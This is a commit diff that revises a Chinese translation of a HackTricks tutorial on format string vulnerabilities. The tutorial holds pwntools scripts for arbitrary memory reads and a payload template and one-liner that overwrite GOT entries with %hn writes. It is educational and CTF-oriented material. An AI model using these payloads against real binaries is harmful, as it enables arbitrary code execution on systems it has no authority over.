Translated ['binary-exploitation/format-strings/README.md'] to cn

This commit is contained in:
Translator 2024-09-25 16:30:13 +00:00
parent a2d49f8ee9
commit aa07f834f3

View file

@ -1,4 +1,4 @@
# 格式字符串
# Format Strings
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -21,7 +21,7 @@
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
**攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** **任何数据**。这样就能够 **执行任意代码**
**攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)****任何数据**。这样就能够 **执行任意代码**
#### 格式化符:
```bash
@ -47,7 +47,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* 缺参数:
* 缺参数:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -59,14 +59,14 @@ int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **访问指针**
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做:
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做:
```c
printf("%x %x %x %x")
```
@ -86,7 +86,7 @@ printf("$4%x")
## **任意读取**
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置****地址**,并 **将其作为字符串打印**(打印直到找到 0x00。因此如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第 4 个位置开始,则可以使用以下方式打印二进制文件的开头:
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置****地址**,并 **将其作为字符串打印**(打印直到找到 0x00。因此如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第个位置开始,则可以使用以下方式打印二进制文件的开头:
```python
from pwn import *
@ -100,7 +100,7 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
请注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾被截断为 0x00
请注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束
{% endhint %}
### 查找偏移量
@ -145,22 +145,22 @@ p.close()
任意读取可以用于:
* **从内存中转储** **二进制文件**
* **访问存储敏感** **信息**的内存特定部分(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
* **访问存储敏感信息的内存特定部分**(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
## **任意写入**
格式化器 **`$<num>%n`** **在** **指定地址**中写入**已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`$<num>%n`** 在任意地址写入任意数字。
格式化器 **`$<num>%n`** **在** **指定地址** 中写入 **已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`$<num>%n`** 在任意地址写入任意数字。
幸运的是,要写入数字 9999并不需要在输入中添加 9999 个 "A"为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址**中写入数字 **`<num-write>`**。
幸运的是,要写入数字 9999并不需要在输入中添加 9999 个 "A"因此可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次写入地址的高 2 字节,另一次写入低 2 字节
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次写入地址的高 2B另一次写入低 2B
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
在这个例子中,目标是**覆盖**一个**函数**在**GOT**表中的**地址**,该函数将在稍后被调用。尽管这可以用其他任意写入到执行的技术:
在这个例子中,目标是**覆盖**一个**函数**在**GOT**表中的**地址**,该函数将在稍后被调用。尽管这可以用其他任意写入到执行的技术:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
@ -172,7 +172,7 @@ AAAA.%500\$08x —> Param at offset 500
* **HOB** 被调用为地址的 2 个高字节
* **LOB** 被调用为地址的 2 个低字节
然后,由于格式字符串的工作方式,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -190,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
### Pwntools 模板
您可以在以下位置找到用于准备此类漏洞的**模板**
您可以在以下位置找到准备此类漏洞利用的**模板**
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
或者可以从[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)找到这个基本示例
或者这个基本示例来自[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
```python
from pwn import *
@ -240,8 +240,8 @@ p.interactive()
<summary>支持HackTricks</summary>
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
</details>
{% endhint %}